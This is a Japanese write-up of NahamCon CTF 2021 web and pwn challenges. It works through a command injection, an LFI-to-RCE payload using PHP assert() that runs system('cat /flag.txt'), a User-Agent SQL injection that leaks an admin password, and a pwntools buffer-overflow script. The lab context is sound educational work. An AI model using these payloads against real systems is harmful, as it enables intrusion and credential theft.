NahamCon CTF 2021 writeup【web,pwn】
- 3/13~3/14に行われたNahamCon CTF 2021にチーム
sh -a ./chiku
として出場し、Webの$Echo
,Asserted
,Bad Blog
、PwnのRet2basic
、The List
を解きました。(miscは省略します) - このうち、簡単なRet2basic以外の問題のwriteupを残したいと思います
Index
Web
$Echo [os command injection, easy]
Author: @Blacknote#1337
So I just made a hardcoded bot that basically tells you what you wanna hear. Now usually it's a $ for each thing you want it to say but I'll waive the fee for you if you beta test it for me.
問題サーバにアクセスすると、文字列を受け付けるフォームがあります。
Investigation
Exploit
- とりあえずOS command injectionだとアタリをつけ、cheat sheetからコピペして貼り付ける作業をした結果、バッククォートで囲んだコマンドが実行されることがわかりました
cat index.php
を実行し、抜き出したPHPのソースは以下の通りです
<?php $to_echo = $_REQUEST['echo']; $cmd = "bash -c 'echo " . $to_echo . "'"; if (isset($to_echo)) { if ($to_echo == "") { print "Please don't be lame, I can't just say nothing."; } elseif (preg_match('/[#!@%^&*()$_+=\-\[\]\';,{}|":>?~\\\\]/', $to_echo)) { print "Hey mate, you seem to be using some characters that makes me wanna throw it back in your face >:("; } elseif ($to_echo == "cat") { print "Meowwww... Well you asked for a cat didn't you? That's the best impression you're gonna get :/"; } elseif (strlen($to_echo) > 15) { print "Man that's a mouthful to echo, what even?"; } else { system($cmd); } } else { print "Alright, what would you have me say?"; } ?>
ls ../
を実行するとflag.txtがあったのでcat ../flag.txt
をして終わり,ではありません。PHPのソースには入力が14文字より大きい場合はsystem関数の実行ができないようになっています- つまり、バッククォート2つを含めた
cat ../flag.txt
は17文字なので実行不可、またcat ../*
のようなワイルドカードを用いたコマンドも*
が使えず、他のコマンドもハイフンがないので使えなかったです
- つまり、バッククォート2つを含めた
- ここで
<
を使えば、bash -c 'echo < ../flag.txt'
となり何故かflagが出ました
flag{1beadaf44586ea4aba2ea9a00c5b6d91}
Asserted [LFI and os command injection, medium ]
Time to hit the gym! Assert all your energy! Err, wait, is the saying "exert" all your energy? I don't know... The flag is in /flag.txt.
問題サーバへアクセスすると、ジム?のWebページが表示されます
Investigation
- PHP製、Apache上で稼働
- ページの切り替えは
http://challenge.nahamcon.com:30732/index.php?page=schedule
のように?page=
の後に続く文字列でサーバサイドで切り替えているようです- よってLFIができるとアタリをつけます
LFI?
(´・ω・`)< curl http://challenge.nahamcon.com:30732/index.php?page=php://filter/convert.base64-encode/resource=index PD9waHANCg0KaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKSB7DQogICRwYWdlID0gJF9HRVRbJ3BhZ2UnXTsNCiAgJGZpbGUgPSAkcGFnZSAuICIucGhwIjsNCg0KICAvLyBTYXZpbmcgb3Vyc2VsdmVzIGZyb20gYW55IGtpbmQgb2YgaGFja2luZ3MgYW5kIGFsbA0KICBhc3NlcnQoInN0cnBvcygnJGZpbGUnLCAnLi4nKSA9PT0gZmFsc2UiKSBvciBkaWUoIkhBQ0tJTkcgREVURUNURUQhIFBMRUFTRSBTVE9QIFRIRSBIQUNLSU5HIFBSRVRUWSBQTEVBU0UiKTsNCiAgDQp9IGVsc2Ugew0KICAkZmlsZSA9ICJob21lLnBocCI7DQp9DQoNCmluY2x1ZGUoJGZpbGUpOw0KDQo/Pg0K
<?php if (isset($_GET['page'])) { $page = $_GET['page']; $file = $page . ".php"; // Saving ourselves from any kind of hackings and all assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE"); } else { $file = "home.php"; } include($file); ?>
- ここで
..
が禁止されていることに気づきます。..
が禁止されている場合は絶対パスでバイパスできるはずなので/flag.txt
を指定しますが、flagは返ってきません- というのも、入力に
.php
を無理矢理つけるので、実際には/flag.txt.php
となっているようです - この場合はNULL byteである
%00
または%2500
をつけてやればバイパスできるはずですが、この問題においてはPHPの設定で防がれているっぽいので不可能でした
- というのも、入力に
RCE via assert()
- ここで問題名のAssertedが匂いました。確かにindex.phpにはassert()を使っていますし、そもそもPHPのassert関数起因でのRCEができることを知っていたので、この問題はLFI→RCEなのでは?と考えました
この記事はassert()関数経由でのRCEの説明をしていますが、ソースコードがまんま本問のindex.phpに酷似しています
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "includes/" . $page . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code! >?
このサイトのpayloadを試して終わりだ!と思ったのですが、私の環境ではうまくいきませんでしたw
というわけで別のこちらのpayloadを試したところ成功しました!
Exploit
final payload
http://challenge.nahamcon.com:30732/index.php?page='.system("cat /flag.txt").'about
flag{85a25711fa6e111ed54b86468a45b90c}
Bad blog[SQLi, medium ]
Author: @congon4tor#2334
We just added analytics to our blogging website. Check them out!
問題サーバにアクセスすると、ログイン画面を経て何の変哲もないブログが表示されます
Investigation
- アプリはPHP製、Apache上で稼働
- 怪しいのは投稿画面の画像URLのフォーム、投稿内容、searchフォームでのSQLi、ページのidでのSQLi(GrimmCon CTFではここにUnion-based SQLiがありました)
Where is a vulnerability
XXE?
まず私が真っ先に疑ったのは、記事投稿画面の画像のURL指定フォームです。 というのも、以前どこかの勉強会で同じ機能でSQLiだかSSRFされたというのを聞いたことがあったからです。
XXEを仕込んだSVGファイルやら色々試しましたが、結果的にここに脆弱性はありませんでした。
SQLi?XSS?
次は記事のContentフォームです。 ここにStored XSSができますが、肝心のadminが見にきてくれる機能がなかったため、これも使えそうにありません。
また、検索フォームでのSQLiなども試しましたが全く刺さらず3時間くらい経過しました...
SQLi via User-Agent
最後に残ったのは、記事を見にきたユーザのUser-Agentを記録していく機能のページでした。
ここでUAを色々いじって自分の記事にアクセスしていると、シングルクォートを含んだUAでエラーが出ることに気づきました
Bad Request (sqlite3.OperationalError) unrecognized token: "''');" [SQL: insert into visit (post_id, user_id, ua) values (5,2,''');] (Background on this error at: http://sqlalche.me/e/13/e3q8)
ご丁寧なことに、SQL文まで明示してくれています!
insert into visit (post_id, user_id, ua) values (5,2,'<UAの文字列の内容>');
よってこの問題は、SQLiの問題でした。
色々試した結果、Union-based SQLiのエラーメッセージ経由でuserテーブルが存在すること、passwordカラムが存在すること、そしてflagテーブルみたいなものは存在しないことを確認しました
UA→') union select password,2,3 from user -- -
- これのpassword
をpassに変えたり、userをusers
とかflag
に変えたときのエラーで情報を取得
これらをまとめると、ゴールはuserテーブルのadminのpasswordカラムを例のUA情報のテーブルにINSERT してしまえばadminのパスワードがリークできそうなので、やってみました
そのためのUAに仕込むSQLiのためのpayloadはこれです!
'), (5,2, (select password from user)) -- -
実際に実行されるSQL文は↓このようになり、adminのパスワードがUAを管理しているテーブルのレコードにINSERTされます。
insert into visit (post_id, user_id, ua) values (5,2,''), (5,2, (select password from user)) -- -');
ということでadminのpasswordは J3H8cqMNWxH68mTj
なので、これでログインし直すとflagが表示されました!
- final payload
'), (5,2, (select password from user)) -- -
flag{8b31eecb1831ed594fa27ef5b431fe34}
余談ですが、この問題が解けた時31番目だったので割と嬉しかったです
Pwn
The List[BOF?, easy ]
Author: @M_alpha#3534
We need you to compile a list of users for the event. Here's a program you can use to help.
この問題はバイナリを実行するとメニューが表示され、ユーザを追加したり削除できるのでheap問かな?と思ったのですが、Ghidraでデコンパイルしてもmalloc関数などは使われていませんでした。
よって、BOF経由でのreturn address書き換えによりgive_flag関数実行でflagをゲットするようです
- 色々解析した結果、add_user関数によってユーザの名前がスタック領域にどんどん積まれていくが、ユーザ数のチェックなどはないためにスタックがオーバーフローしてしまうようでした
- ただし、書き換える対象のreturn addressがスタックに積まれていくユーザ名よりも上部、つまりバッファよりも上に存在するので書き換えられません(多分)
よってどんどんユーザ名を追加、main関数自体のreturn address(画像のBACKTRACEの部分で__libc_start_main+243を指しているやつです)を上書きしてexit関数を実行し、プログラムを終了させれば上書きした関数に飛ぶのかなぁと思いやってみました。
from pwn import * import time #p = remote("challenge.nahamcon.com", 31980) p = process("./the_list") e = ELF("the_list") flag = 0x401369 def add_user(payload): p.sendline(b"2") p.recvuntil(b"Enter the user's name: ") p.sendline(payload) print("sent: ", payload) time.sleep(1) p.recvuntil(b"Enter your name: ") p.sendline(b"A"*0x20) p.recvuntil(b"> ") add_user(b"B" * 0x20) p.recvuntil(b"> ") add_user(b"C" * 0x20) p.recvuntil(b"> ") add_user(b"D" * 0x20) p.recvuntil(b"> ") add_user(b"E" * 0x20) p.recvuntil(b"> ") add_user(b"F" * 0x20) p.recvuntil(b"> ") add_user(b"G" * 0x20) p.recvuntil(b"> ") add_user(b"H" * 0x20) p.recvuntil(b"> ") add_user(b"I" * 0x20) p.recvuntil(b"> ") add_user(b"J" * 0x20) p.recvuntil(b"> ") add_user(b"K" * 0x20) p.recvuntil(b"> ") add_user(b"L" * 0x20) p.recvuntil(b"> ") add_user(b"M" * 0x20) p.recvuntil(b"> ") add_user(b"N" * 0x20) p.recvuntil(b"> ") add_user(b"O" * 0x20) p.recvuntil(b"> ") add_user(b"P" * 0x20) p.recvuntil(b"> ") add_user(b"Q" * 0x20) p.recvuntil(b"> ") add_user(b"R" * 8 + p64(flag)) p.interactive()